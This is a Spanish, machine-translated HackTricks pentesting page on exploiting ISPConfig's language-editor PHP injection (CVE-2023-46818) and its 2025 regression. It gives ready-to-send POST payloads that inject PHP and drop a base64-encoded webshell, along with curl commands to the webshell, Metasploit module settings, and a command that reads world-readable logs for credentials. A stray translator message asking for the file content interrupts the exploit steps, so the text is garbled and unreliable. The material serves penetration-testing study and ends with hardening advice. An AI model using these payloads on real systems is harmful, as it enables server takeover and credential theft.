ISPConfig

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Descripción general

ISPConfig es un panel de control de hosting de código abierto. Las versiones antiguas 3.2.x incluían una función de editor de archivos de idioma que, cuando se habilitaba para el superadministrador, permitía la inyección arbitraria de código PHP mediante un registro de traducción malformado. Esto puede dar RCE en el contexto del servidor web y, dependiendo de cómo se ejecute PHP, escalada de privilegios.

Rutas predeterminadas clave:

  • La raíz web suele estar en /var/www/ispconfig cuando se sirve con php -S o mediante Apache/nginx.
  • La UI de administración es accesible en el vhost HTTP(S) (a veces ligada solo a localhost; usa SSH port-forward si es necesario).

Consejo: Si el panel está ligado localmente (p.ej. 127.0.0.1:8080), hazle un port-forward:

ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Editor de idioma PHP code injection (CVE-2023-46818)

  • Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • Preconditions:
  • Login as the built-in superadmin account admin (other roles are not affected according to the vendor)
  • Language editor must be enabled: admin_allow_langedit=yes in /usr/local/ispconfig/security/security_settings.ini
  • Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context

References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.

Manual exploitation flow

  1. Abrir/crear un archivo de idioma para obtener tokens CSRF

Enviar un primer POST para inicializar el formulario y analizar los campos CSRF de la respuesta HTML (csrf_id, csrf_key). Example request path: /admin/language_edit.php.

  1. Inyectar PHP a través de records[] y guardar

Enviar un segundo POST incluyendo los campos CSRF y un registro de traducción malicioso. Pruebas mínimas de ejecución de comandos:

POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Prueba fuera de banda (observar ICMP):

records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Escribir archivos y dejar un webshell

Usa file_put_contents para crear un archivo en una ruta accesible desde la web (p. ej., admin/):

records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Luego escribe un webshell simple usando base64 para evitar caracteres problemáticos en el cuerpo POST:

records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

No veo el contenido del archivo. Por favor pega el contenido de src/network-services-pentesting/pentesting-web/ispconfig.md que quieres que traduzca. Mantendré la sintaxis markdown/html y no traduciré código, rutas, enlaces ni etiquetas.

curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Si PHP se ejecuta como root (por ejemplo, vía php -S 127.0.0.1:8080 iniciado por root), esto produce root RCE inmediato. De lo contrario, obtienes ejecución de código como el usuario del servidor web.

Regresión 2025 (ISPConfig 3.3.0 / 3.3.0p1)

El bug del editor de idiomas reapareció en 3.3.0/3.3.0p1 y se corrigió en 3.3.0p2. Las condiciones previas no cambiaron (admin_allow_langedit y inicio de sesión de admin). El mismo parche también solucionó un monitor XSS y los logs rotados con permisos de lectura mundial.

Notas:

  • En 3.3.0/3.3.0p1, los logs rotados con permisos de lectura mundial bajo /usr/local/ispconfig/interface/log/ pueden leak credenciales si el registro de depuración estaba habilitado:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
  • Los pasos del exploit coinciden con CVE-2023-46818; 3.3.0p2 añade comprobaciones adicionales antes de la edición de idiomas.

Python PoC

Un exploit listo para usar automatiza el manejo de tokens y la entrega del payload:

Ejemplo de ejecución:

python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Metasploit module (released July 2025)

Rapid7 añadió exploit/linux/http/ispconfig_lang_edit_php_code_injection, que puede habilitar automáticamente admin_allow_langedit si la cuenta de administrador proporcionada tiene derechos system-config.

use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run

El módulo escribe un payload base64-encoded a través de records[] y lo ejecuta, obteniendo un PHP Meterpreter o un payload personalizado.

Endurecimiento

  • Actualice a 3.2.11p1 o posterior para el problema original, y a 3.3.0p2 o posterior para la regresión de 2025.
  • Desactive el editor de idiomas a menos que sea estrictamente necesario:
admin_allow_langedit=no
  • Evita ejecutar el panel como root; configura PHP-FPM o el servidor web para que reduzca los privilegios
  • Forzar autenticación fuerte para la cuenta integrada admin

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks